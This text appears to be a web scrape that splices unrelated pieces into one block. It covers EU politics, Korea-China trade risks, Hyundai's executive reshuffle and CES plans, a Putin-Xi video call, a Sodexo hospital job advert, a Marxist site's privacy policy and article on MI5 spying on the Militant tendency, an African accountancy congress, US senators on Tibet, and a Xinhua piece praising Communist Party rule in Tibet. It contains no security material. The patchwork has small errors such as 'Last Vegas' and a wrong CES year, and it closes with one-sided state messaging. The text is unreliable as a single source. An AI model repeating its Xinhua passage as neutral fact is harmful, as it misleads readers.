Orban will be key players seeking to shape the debate about the continent's future. And this week's summit offers a key opportunity to further their ambitions, which comes at a key moment. The future by and large that Macron, Scholz, Draghi plus some others, including Spanish Prime Minister Pedro Sanchez, broadly favor is the 27 member states deciding to do more together, reigniting European integration and growth by deepening cooperation, with decisions agreed upon faster and enforced more quickly. Building from the decision last year to give the bloc, for the first time in its history, debt-raising powers to finance a 750-billion-Euro post-coronavirus recovery plan, announcements to watch for in 2022 might include a push for the creation of a deeper European Defense Union, which has assumed new importance for some in Europe, since the announcement of the U.S.-U.K.-Australia security deal. Should, however, there be persistent blockers of these agendas, it is plausible that France, Italy, Germany, plus others such as Spain, may move toward more coalitions of the willing in select policy areas to take forward the integration agenda on a flexible basis. A model here is the Eurozone, where some 19 of the current 27 EU members have entered into a monetary union with the euro as the single currency. Yet, even this kind of partial, forward movement for the integrationists is far from certain, and the full spectrum of scenarios in the period to come also includes the possibility of the EU retreating backwards, post-Brexit. This scenario might even see for instance a retreat to little more than the current economic Single Market, which seeks to guarantee freedom of movement of goods, capital, services and people. While the direction of the EU is therefore very uncertain, what is clear is that the recent changes across the continent have left the kaleidoscope in flux. Next year could therefore have an outsized impact in defining the economic and political character of the bloc not just in the 2020s, but potentially well beyond. Andrew Hammond (andrewkorea@outlook.com) is an associate at LSE IDEAS at the London School of Economics. gettyimagesbank Bilateral ties tainted by supply chain risks, extreme nationalism, growth slowdown in China By Yi Whan-woo Economic cooperation has been at the center of Korea's relationship with China ever since they established diplomatic ties in 1992. But three risks related to supply chains, extreme nationalism and the growth slowdown in China are making such cooperation not as promising as in the past, in the lead-up to the 30th anniversary of bilateral relations next year. Analysts have warned of another crunch in relying on raw materials supplied from China, as witnessed in the urea crisis in November, noting that this issue is closely related to the Washington-Beijing trade row which shows no signs of abatement. With Korea under growing pressure to choose between the two superpowers, it faces the risk of China weaponizing trade in the form of an export ban or a consumer boycott if Beijing finds Seoul uncooperative. The economic slowdown in China is coming at a faster pace than expected and this can also pose a serious threat to the export-driven Korean economy. The OECD projected the Chinese economy to grow 5.1 percent in 2022, which is the lowest level over the past 20 years, except for 2020 when the COVID-19 pandemic wreaked havoc on the global economy. The 2021 outlook has been downgraded by 0.4 percentage points to 8.1 percent, after year-on-year GDP lost momentum and slipped from 18.3 percent in the first quarter to 7.9 percent in the second and 4.9 percent in the third. A notice at a gas station in Incheon says that diesel exhaust fluid (DEF) is sold out, while packaged bottles of DEF belonging to the military are being unloaded from a military truck for commercial purposes as an emergency measure against the DEF supply shortage, in this Nov. 11 file photo. Korea Times file "Korea's reliance on intermediary goods from China has grown too large, and the government may need to adjust such overdependence on the occasion of the 30th anniversary of bilateral ties," said Lee Sang-ho, head of the Korea Economic Research Institute (KERI) economic policy team. Korea currently imports roughly 5,300 goods from China, including 604 intermediary ones that had been produced domestically before, but now are mainly imported due to cost efficiency and other reasons. This figure is an increase compared to 2007's total of 965 import items, including 488 intermediary goods. Of the 5,300 import items, 1,088 of them are classified as "sensitive items," meaning that more than 50 percent of their supply is reliant solely on China, and accordingly, there is a trade deficit. The 1,088 items also include "vulnerable items," for which more than 70 percent of their supply is available only from China. "The dependency rate on intermediary goods is at a serious level," Lee said, pointing out that it accounted for 25.1 percent of the total number of sensitive items. For the U.S., intermediary goods accounted for 16.8 percent of the sensitive items imported from China. Among these sensitive items is urea, a source ingredient of diesel exhaust fluid (DEF) that stirred up the shipping industry and other related businesses here last month when an energy crisis in China led to a supply shortage here. The crisis sparked concerns over shortages of other materials, such as magnesium ingots, tungsten oxide, lithium hydroxide and neodymium magnets, with the rate of reliance on supply from China for these ranging between 80 percent and 100 percent. Park Won-gon, an international relations professor at Handong Global University, said that the urea crisis should be understood as part of the deepening decoupling of the U.S.-China supply chains. "Under these circumstances, the importance of avoiding getting caught in the crossfire is getting more crucial than ever, considering that China can exploit its trade leverage on Korea and take retaliatory measures if it is dissatisfied with Seoul," Park said. He pointed out the U.S. and China are both asking Korea to join their respective plans to build next-generation supply chains focusing on strategic materials, such as chips and batteries. A Lotte Mart is seen closed in Hangzhou, China, in this file photo taken in 2017, when China took retaliatory measures against Korean businesses operating there over deployment of a U.S. THAAD anti-missile shield here. Korea Times file The headquarters of Kia Corp. and Hyundai in Seoul / Courtesy of Hyundai Motor Group By Kim Hyun-bin Hyundai Motor Group is set to apply large-scale changes in its upcoming year-end personnel reshuffle. Industry officials said Wednesday that the country's top automotive group is considering reinstating the vice chairman structure and promoting affiliate presidents to vice chairman posts. The group has been reducing the number of vice chairman positions over the last few years. However, Hyundai Motor sources said that more vice chairmen will help better support Hyundai Motor Group Chairman Chung Euisun, who was promoted last year from senior vice chairman to chairman. Another scenario for the upcoming structural changes is that the group is reportedly inclined to recruit senior executives from both domestic and foreign companies, especially in the information technology sector. In 2019, Hyundai Motor Group recruited a senior executive from its competitor, POSCO, and appointed him as president of Hyundai Steel. Plus, the company is said to have been considering ways to promote young and talented employees to executive positions. Some affiliates even expect up to 30 percent of the existing executives to resign. The organizational change will also focus on consolidating the automotive conglomerate's domestic and overseas operations by merging the current areas of business into five large regions. The strategy is aimed at introducing a "large regional system" to revive sluggish regions. If the changes happen, the domestic business headquarters will be in charge of managing the Asia-Pacific region, while North America and Central and South America are set to be merged, said the sources. Hyundai Motor Group is also on track to find replacements for its design and research chiefs. Peter Schreyer, regarded as an expert who made significant contributions to enhancing the design quality of the group's automobile brands Hyundai, Kia and Genesis to a level comparable to world-class carmakers, is set to be replaced. This year-end personnel reshuffle will be the second under Chairman Chung Euisun. After taking office in October 2020, Chung conducted his first reshuffle by naming a number of executives trusted by him, including Hyundai Motor CEO Chang Jae-hoon. Lee Je-hoon, president of ChildFund Korea, center left, and Starbucks Korea CEO Song Ho-seob, center right, pose during a donation ceremony held at Starbucks Korea's support center in Seoul, Wednesday. Starbucks Korea contributed 960 million won to the local children's foundation ahead of Christmas. Courtesy of Starbucks Korea By Kim Bo-eun Samsung Electronics Vice Chairman and CEO Han Jong-hee / Courtesy of Samsung Electronics By Kim Hyun-bin Hyundai Motor Group Chairman Chung Euisun and SK Group Chairman Chey Tae-won are expected to attend the world's largest consumer electronics and IT expo, the Consumer Electronics Show (CES) 2022, in Last Vegas in early January. CES is referred to as one of the world's top three home appliance and IT expos, along with the IFA (Internationale Funkausstellung, or Consumer Electronics Unlimited) in Berlin, Germany, and the Mobile World Congress (MWC) in Barcelona, Spain. "Hyundai Motor Group is preparing to send Chairman Chung to the CES," an industry official familiar with the matter said Wednesday. Hyundai Motor Group Chairman Chung Euisun Since 2009, Hyundai Motor Group and Kia Corp. have been alternating in participating in the CES, with the chairman in attendance. However, Hyundai Motor Group did not attend the CES held earlier this year, for the first time in 13 years, as the event was held online due to the COVID-19 pandemic. It will be more meaningful for Chung this time around, as Hyundai Motor, Genesis and Kia Corp. have swept major global awards for marketability and outstanding value in the automobile industry. The company has racked up six out of 10 worldwide "Car of the Year" awards announced by renowned U.S. and European automobile groups, with Hyundai Motor Group receiving more overall "Car of the Year" awards than any other global carmaker. Chairman Chung often has been known to draw attention by introducing the conglomerate's future technologies during media conferences at CES events in the past. In 2020, he also directly unveiled Hyundai Motor Group's future mobility solutions, such as urban air mobility (UAM), purpose-based mobility (PBV) and mobility transfer base. Hyundai Motor Group is apparently putting a lot of effort into next year's CES, which it will participate in for the first time in two years. It plans to showcase a variety of products and technologies, including hydrogen fuel cells, robotics and UAM, which are considered to be the future drivers of Hyundai Motor Group, as well as autonomous vehicles and dedicated electric vehicles. Hyundai Motor and Hyundai Mobis will set up booths representing the Hyundai Motor Group at CES 2020 in Las Vegas from January 5th through 8th. Chey Tae-won, the chairman of the Korea Chamber of Commerce and Industry (KCCI) and SK Group, plans to participate in CES 2022 to examine the advanced technologies of global companies and grasp the latest trends in the domestic and foreign markets. SK Group Chairman Chey Tae-won "The chairman is considering to attend the CES, but there are other outside factors, such as Omicron, so we will make a last-minute decision on the issue," an SK Group official said. "If he attends, it will be on behalf of both SK Group and the KCCI." The upcoming CES will be the first one Chey is attending since he became KCCI chairman in March of this year. Seen is a concept image of Coway's promotional booth at the 2022 Consumer Electronics Show, which will take place in Las Vegas from Jan. 5 to 8. Courtesy of Coway Russian President Vladimir Putin and Chinese leader Xi Jinping held a video call on Wednesday to discuss bilateral relations and international affairs, a summit that comes amid heightened tensions between Moscow and the West over a Russian troop buildup near Ukraine's border. In their opening remarks, Putin and Xi hailed relations between Russia and China, with the Russian leader declaring them "a proper example of interstate cooperation in the 21st century." "A new model of cooperation has been formed between our countries, based among other things on such principles as not interfering in internal affairs (of each other), respect for each other's interests, determination to turn the shared border into a belt of eternal peace and good neighborliness," Putin said. Xi said that the Russian president "strongly supported China's efforts to protect key national interests and firmly opposed attempts to drive a wedge between our countries" "I appreciate it very much," the Chinese leader said. Putin also said that he plans to meet with Xi in person in Beijing in February and attend the 2022 Olympics. "As agreed, we will hold talks and then take part in the opening ceremony of the Winter Olympic Games," Putin said. In recent years, China and Russia have increasingly aligned their foreign policies to counter U.S. domination of the international economic and political order. Both have faced sanctions over their internal policies. (AP) Description System ID 757133 Category Food Service Employment Status Full-Time Unit Description Do you have a passion for helping others? Sodexo, leader in quality of life services has an immediate opening for a Operations Manager 3 at MedStar Washington Hospital Center. This is the largest private hospital in Washington, D.C. A member of MedStar Health, the not-for-profit Hospital Center is licensed for 926 beds. Health services in primary, secondary and tertiary care are offered to adult and neonatal patients. It also serves as a teaching hospital for Georgetown University School of Medicine. Is this opportunity right for you? At Sodexo, you will find the ingredients for a great career in food service management. With benefits including schedules that encourage work-life balance and continuing education opportunities, you'll enjoy an improved quality of life that's unique in the hospitality industry. The Operations Manager 3 will: Be responsible for all things Patient Services. Ensure that quality food is served and delivered in a timely manner Develop team to understand that Patients are at the heart of everything that we do Supervise, schedule, train and develop a team of 66 hospitality associates Implement/conduct performance improvement initiatives to improve customer satisfaction. Develop training platforms, oversee Food Service Regulatory and Compliance, and initiative quality improvement programs. Evaluate and develop service levels for the overall Patient Services Program targeted to exceed patient and customer satisfaction; Oversee Sodexo's EFY Patient Dining Program and daily meal rounding inclusive of service recovery; Collaborate with clinical, food service, and interdisciplinary teams to enhance the patient experience; Perform tray assessments to ensure food quality and presentation and tray accuracy; Exceed Sodexo standards for Gold Checks and achieve successful regulatory inspections and audits; and/or Perform management functions that include direct supervision of hourly associates including employee development. The ideal candidate: has a work history demonstrating strong leadership skills, as well as previous supervisory experience and the ability to work collaboratively; has an eye for details and a strong background in food safety and sanitation compliance; has the ability to manage multiple priorities, demonstrate professional communication skills, and a passion for a high level of customer service. Learn more about Sodexo's Benefits Not the job for you? We offer Food Service Management and Patient Services positions in a variety of business segments, including Corporate, Schools, Universities, Government and Agencies, Health Care, Senior Living and Sports and Leisure locations across the United States. Continue your search for Food Service Management jobs. Position Summary Provides leadership and supervision for the on-site food service exempt and non-exempt level staff in the delivery of our contractual agreement with the client. Provides supervision for food services at account/unit to ensure client satisfaction and retention for the company. Implements business practices in order to uphold company mission, values and commitments made in the Sodexo client contractual agreement. Key Duties - Establishes a safe work environment - Assumes General Manager's (GM) responsibilities and authority in his/her absence - Utilizes Sodexo tools and programs to develop client, customer, and staff relationships, to ensure account retention - Implements and fully utilizes all Sodexo tools and programs to ensure financial outcomes - Directs daily operations of food service to ensure employees have appropriate equipment, inventory and resources, ensures operating standards and regulatory requirements are met - Develops and implements plans, projects, with defined objectives, methods, timetables and budget to support client and Sodexo strategic plan - Ensures adherence to all HR standards for Sodexo, client, and regulatory agencies Qualifications & Requirements Basic Education Requirement - Bachelor's Degree or equivalent experience Basic Management Experience - 3 years Basic Functional Experience - 3 years work experience in food or culinary services including restaurants, fast food, vending, catering services, institutional services, mall food courts, etc. Sodexo is an EEO/AA/Minority/Female/Disability/Veteran employer. Requirements See Job Description In Defence of Marxism is committed to safeguarding your privacy. At all times we aim to respect any personal data you share with us, or that we receive from other organisations, and keep it safe. This Privacy Policy (Policy) sets out our data collection and processing practices and your options regarding the ways in which your personal information is used. This Policy contains important information about your personal rights to privacy. Please read it carefully to understand how we use your personal data. We may update this Policy from time to time without notice to you, so please check it regularly. The provision of your personal data to us is voluntary. However, without providing us with your personal data, you will be unable to (as appropriate): contact us; subscribe to our mailing list; subscribe to any of our publications; or receive information about In Defence of Marxism. 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Please let us know if you have any queries or concerns whatsoever about the way in which your data is being processed by emailing the Data Protection Manager at webmaster@marxist.com In the post-war period, MI5 (the British states internal security agency) paid little attention to the activities of Trotskyists in Britain, regarding the threat that they posed to be minimal. But the rise of the Militant in the 1970s and 1980s a tightly organised, professional and theoretically trained organisation founded by Ted Grant completely transformed the Secret Services perception of Trotskyism. For the first time, it came to regard it as a serious subversive threat. Today, the best traditions of Trotskyism and the Militant are alive and growing in the International Marxist Tendency. There can be little doubt that the British state has had a long and disreputable history of spying on and attempting to undermine the labour and trade union movement. In particular, radical campaigning organisations have been targeted by bodies such as the police and MI5 over the years, often to the point of illegality. The spy cops revelations showed how undercover police officers have infiltrated various campaigns, often remaining hidden for years. These spies often acted as agent provocateurs, pushing activists to carry out acts for which arrests could be made. Now a new academic study by George Kassimeris and Oliver Price, published by the journal Contemporary British History, takes a closer look at how the state sought to take covert action against Trotskyist groups in Britain, and in particular the Militant. The first part of the study outlines the basic history of British Trotskyism from 1937 onwards mainly drawn, it must be said, from old and not always totally reliable source books. Readers wanting a more accurate history should go to History of British Trotskyism by Ted Grant and The Permanent Revolutionary by Alan Woods, both published by Wellred Books. Informers and infiltrators During the Second World War, the state did carry out an investigation in 1944 of the Trotskyist Revolutionary Communist Party (RCP) to see if it posed a threat to the war effort. Attempts were made to recruit informers and infiltrate RCP meetings, with little success it should be noted. The state was particularly concerned on account of the fact that in the midst of World War Two, all the main parties were in a wartime coalition. On the left, the Communist Party was under orders from Moscow to support the Churchill cabinet. It played a despicable role in breaking strikes of workers, who it argued must subordinate their interests to the bosses in order to win the war. The RCP was left as the only opposition party in the whole of Britain. The state carried an investigation in 1944 of the Revolutionary Communist Party, as this was at the time the only opposition party in the whole of Britain / Image: Ted Grant Internet Archive MI5 noted that in the course of the war, the Trotskyists evolved from an unimportant handful of talkers in 1940 to become a disciplined body of some size, having programme, finance and organisation and the determination to use them by 1945. The agency was particularly interested in the WIL, led by Ted Grant and Jock Haston and which would become the core of the RCP, being particularly interested in its armed forces work. MI5 was particularly concerned when the RCP was formed, noting that this was the first time a Trotskyist organisations name began to be heard outside its own slummy basement rooms. No action was taken, however, despite the complaints from His Majestys Loyal Communist Party. And, indeed, after the fragmentation of the RCP following the war, the various left groups linked to Trotskyism were pretty much ignored from then on until the emergence of the Militant tendency. It was understandable that the secret services should regard Trotskyism now as a diminished threat. With the post-war boom and the strengthening of reformism and consensus politics, the RCP soon fell apart into various factions most, with the exception of Ted Grants group, having little connection to reality. The difficult conditions of the period meant that it was difficult to get a foothold. Social peace seemed to be the order of the day. This changed with the rise of the anti-Vietnam war campaign in 1968. The Labour government was sufficiently concerned about this wave of youth radicalism to set up a special section of the police the Special Demonstration Squad (SDS, later becoming Special Branch) to keep track of what was going on. Spies targeted the Vietnam Solidarity Campaign; although they later concluded that the government's fears had been overstated: Despite the impact the Trotskyists were able to have on the protest movement [against the Vietnam War], MI5 believed that its influence was always going to be limited because the Trotskyist movement was so divided. But the state would soon find that it had severely underestimated the Trotskyists. Militant tendency By the mid-1970s, the attention of the state had turned to the Labour Party and the trade unions. An MI5 investigation in 1975 on the extent of subversive infiltration and influence in the Labour Party picked up on the growing strength of the Militant tendency / Image: Ted Grant Internet Archive The old consensus politics of the post-war boom had long gone; and a growing left presence in the movement had alerted the state to the potential dangers of a radical shift inside the mass organisations of the working class. A right-wing Labour Party was fine, but a left-moving one was cause for concern. An MI5 investigation in 1975 conducted a wide-ranging investigation into the extent of subversive infiltration and influence in the Labour Party; and at this point, the secret services picked up on the growing strength of the Militant tendency. The secret services were alarmed at the growing influence of Militant inside the Labour Party: Trotskyist entrism in CLPs [Constituency Labour Parties] presents a direct threat to some MPs and thus to the Parliamentary Labour Partys ability to resist subversive pressures upon and within the Party as a whole. It estimated that there was Trotskyist influence in 9 CLPs in which the sitting Labour MP was at risk, and in another 67 CLPs there was some degree of Trotskyist influence. Kassimeris and Price conclude, significantly: For the first time, MI5 believed that Trotskyism posed a significant danger, not only to an established political party but, since Labour was in government at the time, potentially to the British state. In 1976, the Home Secretary under right-wing Labour Prime Minister, James Callaghan, personally requested information from the Director General of MI5 concerning Trotskyist penetration into the party. MI5 assessed the base that Militant had, and noted that the Labour bureaucracy did not seem capable of dealing with it. They noted that Militant was quite unlike any of the other far-left groups it was a disciplined Bolshevik organisation, with a serious approach to the mass movement and to Marxist theory: Militant was able to develop and gain significant influence not only due to the lax disciplinary procedures in the Labour Party, but also because of the dedication of its members and its strong internal disciplinea characteristic which most other Trotskyist groups had lacked. The Labour government continued to push for more information, and spies were sent in to monitor Militant conferences. Famously, at one event, two agents ended up having to hide behind a partition from early morning to late evening to record the days discussions. According to one of those Special Branch officers: We crept in, into the little cubby hole at 8 oclock in the morning with a bucket to cater for our needs, and we stayed there until all the delegates had left, after nearly 7 oclock at night, and we recorded the proceedings on a small, Swiss high tech tape recorder provided by MI5 for us We were that near to people standing at the back of the hall and just the width of a small, thin wooden partition, looking through a peep hole. Both the security services and Special Branch sent in infiltrators, sometimes unaware of each others presence. Around 30 informers were recruited. This surveillance extended to the use of agents to spy on Militant supporters Dave Nellist and Terry Fields, who were elected as Labour MPs for Coventry South East and Liverpool Broadgreen respectively in 1983. Indeed, an agent was sent into Coventry Labour Party to monitor Nellist and was instructed to cultivate Nellist, and developed a close relationship with him, helping him with a lot of things and going around with him to a lot of meetings. Proscription and the Poll Tax The study claims that although the state continued to monitor the actions of Militant, and in particular those Militant supporters who had become Labour MPs, interest waned after the mid-1980s as Militant declined. For some reason, the studys authors seem to think that this was all down to Labour taking action against Militant. The tendency was officially proscribed from the party, with Kinnock making his infamous speech at the Labour conference against the Militant-led Liverpool City Council. In fact, the Labour right wings attacks did not have anything like the detrimental impact on the Militants influence that is claimed. Militant moved on to play a leading role in the anti-poll tax campaign, which would ultimately help to bring down Thatcher. Civil service The state was not just interested in Militant and the Labour Party, however. By the 1980s, concerns were being raised about what was happening in the civil service and its main trade union at the time, the CPSA (part of what today forms the PCS union). The public sector had changed dramatically over the previous few decades. The bowler-hat brigade had been replaced by a new layer of employees, who were mostly much younger and from more working-class backgrounds. Militant played a leading role in the anti-poll tax campaign, which would ultimately help to bring down Thatcher / Image: in Defence of Marxism As such, inevitably, people with more left-wing views now found themselves working inside the civil service. A vetting system had always existed inside the state, mainly to stop Communist Party members and the like getting anywhere near sensitive information. But left-wing shifts inside the CPSA flagged up that the Militant could now pose a threat inside the state machine. In the words of Kassimeris and Price, this was a cause of significant unease for the Security Service. Cabinet secretary Sir Robert Armstrong warned a meeting of top civil servants that Militant was a threat to the effective operation of government. When a strike broke out at the Department of Health and Social Security (DHSS) in Newcastle in 1984, MI5 demanded the department give it a report on Militant activities in the branch. It found that one-third of the union representatives who had facility time were probably Militant activists. Another top civil servant, Sir Kenneth Stowe, warned in November 1984 that Thatchers policies were creating a radical mood inside the CPSA, which was undermining the old right-wing leadership. So it was that Sir Robert Armstrong commissioned in early 1985 a full report into leftist groups inside the civil service. 284 people were identified as Militant supporters although the real figure was believed to be higher. Again the report picked Militant for particular mention: Militant members were considered a greater threat than other Trotskyists in the Civil Service due to their organisational capabilities and their stronghold in some Civil Service unions. In 1986, a Militant member, John Macreadie, was elected general secretary of the CPSA. Armstrong reported to Thatcher that the Militant threat was serious, and that new covert procedures should be put into effect. Thatcher personally signed off on the reports recommendations, advising senior civil servants to be very ready to sack subversive troublemakers if they showed any cause under the Civil Service rules. As a result, many left-wing civil servants found themselves being moved to less sensitive positions, or were simply blocked from taking up jobs without being told why. Power and privileges The study concludes by emphasising that the state considered Militant to be a real threat to the status quo. They understood that Militants base and orientation towards the labour and trade movement made them a danger unlike any other group. In the words of Kassimeris and Price: Militant Tendency fundamentally changed the way in which British intelligence agencies perceived Trotskyism. For the first time in nearly half a century of investigating the Trotskyist movement, the Secret Services came to believe that a Trotskyist group had the potential to pose a significant subversive threat to Britain. Militant was different from other Trotskyist groups partly because it had been able to gain a significant power-base thanks to the lenient Labour Party discipline procedures which had previously prevented the far left from entering the party. Militant, unlike previous Trotskyist movements, maintained discipline and unitya key to its success. For the first time, Trotskyists were specifically targeted, under an informal purge procedure that had long prevented Communists from working in certain Civil Service jobs. MI5s definition of subversion, adopted in 1972 was: activities threatening the safety or well-being of the State and intended to undermine or overthrow Parliamentary democracy by political, industrial or violent means. During the late 1970s and early 1980s, Militant was the first and, so far, only Trotskyist organisation that both fitted this definition and was perceived to pose a genuine threat to security. The long-held belief that genuine Marxist ideas could never actually pose a threat was changed forever by the progress of Militant. Four decades on, it is tempting to treat this as just a story belonging to the history books. Militant shot itself in the foot with its ultra-left turn in 1991, and declined thereafter. Instead, the genuine ideas and methods of Marxism are today represented by Socialist Appeal, which in 1992 broke with Militant. Yet, as the spy cops scandal shows, the police have continued to infiltrate left groups. Both MI5 and Special Branch have not gone away. Under conditions of economic and political crisis, they will again concentrate their energies on Marxists and militant activists in the movement. This is a warning not to be complacent. The state, in the final analysis, will always act in the interests of the ruling class. As this account shows, they will go to any length legal or otherwise to defend the capitalist system, and the power, privileges, and profits of those at its top. As the adoption of cryptocurrencies, Artificial Intelligence (AI) and blockchain rapidly gains momentum globally, ICAEW (the Institute of Chartered Accountants in England and Wales) and the Order of Accountants and Auditors of Mozambique (OCAM), under the auspices of PAFA (Pan African Federation of Accountants), have combined efforts to shed light on how accountancy and finance professionals in Africa can harness the 4th Industrial Revolution. As a part of the two entities ongoing efforts to accelerate the development of Africas financial sector, the 6th Africa Congress of Accountants event (ACOA2021), held from 24 26 November 2021, brought together international experts who shared their knowledge and experience on how accountants can provide more insight and stay competitive in the digital era. By 2030, AI is expected to add $15.7 trillion to global GDP, with $6.6 trillion projected to be from increased productivity and $9.1 trillion from consumers, according to PwC. Businesses are set to accelerate the digitalization of work processes, learning, and the automation of tasks within organisations. According to the World Economic Forums The Future of Jobs report 2020, workers will face two considerable disruptions by 2025: job losses due to increased automation and the economic impact of COVID-19 we are still experiencing. The report also states that humans and machines time spent on current tasks at work will be equal by 2025. Michael Armstrong, ICAEW Regional Director, Middle East, Africa and South Asia, said: The explosion in the accessibility of data has led to rapid advances in digital technologies that are transforming businesses, economies, and societies and Africa has a great opportunity to leverage these to drive large-scale transformation across industries. While AI is still in the early phases of adoption, it is already having a fundamental impact on many systems. However, harnessing technology will require a lot more than learning and re-skilling. Both governments and employers will need to take active roles in ensuring workforces are ready to adapt to more regular demands for change by aligning educational initiatives, workforce-development programs and public policies. And as a profession, we must continue to support members globally to ensure that all accountants from smaller firms and smaller economies are included in the digital transformation journey. The speakers acknowledged that the 4th Industrial Revolution is transforming working methods and business models, and with this will come a change in the traditional accountancy skills needed in the future. Kirstin Gillon, ICAEW Technical Manager, Tech Faculty, said: Adopting AI platforms will be a major boon for accountants in audit teams in Africa. AI empowers quick decision-making, creates intelligent insights, and examines huge quantities of data with ease. This allows accountants to redirect the time that they used to spend on such work towards performing high-value, high-impact tasks. To build a positive future vision for our profession, accountants must understand how technology can solve accounting and business problems and diversify their talents by focusing on advisory skills, to act as the broker between technical experts and clients. The congress was held virtually and physically, at Joaquim Chissano International Convention Centre, Maputo Mozambique, and attended by more than 1,000 accounting professionals from across the continent. Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn Articles similaires International Top US lawmakers urge Joe Biden administration to prioritise Tibetan issue Joe Biden WASHINGTON, DEC 15 (PTI) | Publish Date: 12/15/2021 1:07:57 PM IST A bipartisan group of top American Senators has urged the Biden administration to give top priority to the Tibetan issue, in particular engaging with the Tibetan spiritual leader the Dalai Lama, saying there is a need for a policy that further validates Tibets distinct political, ethnic, cultural and religious identity apart from that of China. The Tibetan Policy and Support Act of 2020 (TPSA) passed by the US Congress makes it official United States policy that decisions over the reincarnation of the Dalai Lama are exclusively within the authority of the current Dalai Lama, Tibetan Buddhist leaders and the Tibetan people. China, meanwhile, has tightened its control in Tibet. The US Senators, in a letter to Uzra Zeya, Under Secretary of State for Civilian Security, Democracy and Human Rights, said that Tibet matters to the US. Tibet matters to us, not only as an issue that is important to our constituents and the Tibetan-American community, but also as a tangible manifestation of a principled foreign policy that prioritises human rights and the quest for human dignity, they said. Indian-origin Zeya is expected to be appointed as Special Coordinator for Tibetan Issues. The lawmakers advocated for a US policy towards Tibet that protects the rights, autonomy and dignity of the Tibetan people. The letter also calls for a policy that further validates Tibets distinct political, ethnic, cultural and religious identity apart from that of the Peoples Republic of China. We stand ready to work with you on this urgent moral issue, they said. As you prepare to assume the duties of the Special Coordinator, we write to convey our thoughts about how the Biden administration and Congress can collaborate to advance US policy on Tibet consistent with US law, including the 2002 Tibetan Policy Act and the 2020 Tibetan Policy and Support Act (TPSA), they wrote. Led by Senator Marco Rubio, the lawmakers said that President Joe Biden can demonstrate the importance of the Dalai Lamas moral message and example by inviting him to meet in the Oval Office to discuss shared interests and strategies for addressing the worlds most pressing problems. If His Holiness is unable to travel, then the President should seek an opportunity to meet with him in India, or send a high-level representative, such as the Vice President or a cabinet official, to do so in his stead, they said. Seeking to deepen the engagement with the Central Tibetan Administration (CTA) in Exile, the senators sought to engage the new Sikyong, Penpa Tsering, on ways to improve the livelihoods of Tibetans within the CTA, to protect Tibetan culture and language inside and outside of Tibet, and to resolve the Tibet conflict consistent with Tibetans aspirations for dignity and freedom. Religious freedom and the Dalai Lamas reincarnation. The Tibetan Policy and Support Act (TPSA) established as US policy that decisions involving the next Dalai Lama are religious in nature and belong solely to him and the Tibetan people. We welcome the Biden administrations support of this policy, they wrote. We urge you, and other administration officials, to publicly reiterate this policy and work with like-minded governments to craft a multilateral strategy to affirm this stance as the international norm, not only as a matter of religious freedom but as a strategic counter to the Chinese Communist Partys and governments claims of ownership to the lands of the Tibetan people and its assertion of control over the religious institution of the Dalai Lama, the letter added. China is accused of suppressing cultural and religious freedom in Tibet. China has rejected the accusations. Since becoming Chinas President in 2013, Xi Jinping has pursued a firm policy of stepping up security control of Tibet. Beijing has been cracking down on Buddhist monks and followers of the Dalai Lama, who despite his exile remains a widely admired spiritual leader in the remote Himalayan region. Beijing views the 86-year-old Dalai Lama as a separatist. Last month, Chinas ruling Communist Party appointed Wang Junzheng, sanctioned by the US, Britain, the EU and Canada for his alleged role in the human rights violations against Uygur Muslims in Xinjiang, as the head of the party unit in Tibet. Source: Xinhua| 2021-12-14 22:45:26|Editor: huaxia Video Player Close A grand gathering is held to celebrate the 70th anniversary of the peaceful liberation of Tibet at the Potala Palace square in Lhasa, southwest China's Tibet Autonomous Region, Aug. 19, 2021. (Xinhua/Sun Ruibo) by Xinhua writers Shen Hongbing, Liu Xinyong, Lyu Qiuping LHASA, Dec. 14 (Xinhua) -- For Tibet, 2021 has certainly been an important year. The autonomous region in southwest China marked the 70th anniversary of its peaceful liberation, celebrated the 100th founding anniversary of the Communist Party of China (CPC) along with the rest of the country, and held a regional CPC congress, a five-yearly event. The region has achieved remarkable feats over the past decades. Since its peaceful liberation in 1951, Tibet has embarked on a path from darkness to brilliance, from backwardness to progress, from poverty to prosperity, from autocracy to democracy, and from isolation to openness. History can serve as a valuable prism for retrospection. It is, therefore, worthwhile to explore some of the major reasons behind the profound changes the region has undergone over the past years. STRONG PARTY LEADERSHIP "Without the CPC, there would not be New China and there would not be new Tibet," said Wang Yang, a member of the Standing Committee of the Political Bureau of the CPC Central Committee and chairman of the National Committee of the Chinese People's Political Consultative Conference. Only by following the CPC leadership and pursuing the path of socialism, can Tibet achieve development and prosperity, he said in August while addressing a grand gathering marking the 70th anniversary of the peaceful liberation of Tibet. Pigeons fly over the sky during a grand gathering to celebrate the 70th anniversary of the peaceful liberation of Tibet at the Potala Palace square in Lhasa, southwest China's Tibet Autonomous Region, Aug. 19, 2021. (Xinhua/Zhai Jianlan) Under the strong leadership of the Party, the region has resolved many long-standing problems and achieved all-round progress in all endeavors since the peaceful liberation, which marked a historic transition of epoch-making significance for Tibet. Tibet carried out the democratic reform in 1959 to abolish feudal serfdom, established the socialist system and implemented regional ethnic autonomy, and pressed ahead with reform and opening up as well as modernization. Soinam Doje, hailing from a village in Damxung County in the regional capital Lhasa, witnessed the arrival of the People's Liberation Army in 1951. "I never expected life would become this good. I thought it would be great if the soldiers could arrest the thieves and robbers back then, as yaks and sheep were often stolen or robbed," said Soinam Doje, 82. Soinam Doje used to be a serf who had to pay heavy taxes to his feudal lords and barely had enough food to fill his stomach. After the democratic reform in 1959, he was allocated with his own livestock and grassland. The village cooperative now offers his family dividend from the gypsum mine business. Besides, his eldest son has bought a truck and an excavator, and drives them for the mine. Together with the family's income generated from herding, they bring home as much as 500,000 yuan (about 78,500 U.S. dollars) a year. Soinam Doje and his family pose for a photo at home in Nalung Village of Wumatang Township in Damxung County of Lhasa, capital of southwest China's Tibet Autonomous Region, April 15, 2021. (Xinhua/Sun Ruibo) Tibet's regional GDP soared from 129 million yuan in 1951 to more than 190 billion yuan last year. The per capita disposable income of rural residents in the region was 14,598 yuan in 2020, registering double-digit growth for the past 18 years, while that of urban residents was 41,156 yuan. The region's average life expectancy has increased from 35.5 years in 1951 to 72.19 years at present. Wang Junzheng, the Party chief of Tibet, said at the 10th regional CPC congress late last month that the strong leadership of the CPC Central Committee was the most important reason behind Tibet's achievements over the past five years. GUIDELINES FOR GOVERNING TIBET Over the past 70 years, hunger and poverty have become a thing of the past, religious beliefs have been fully respected, and national unity and social stability have been safeguarded. To serve people of all ethnic groups in Tibet, the CPC put great emphasis on Tibet work, introducing a raft of favorable policies. The Party's guidelines for governing Tibet were also formed, which has been a pillar for Tibet's progress and prosperity. 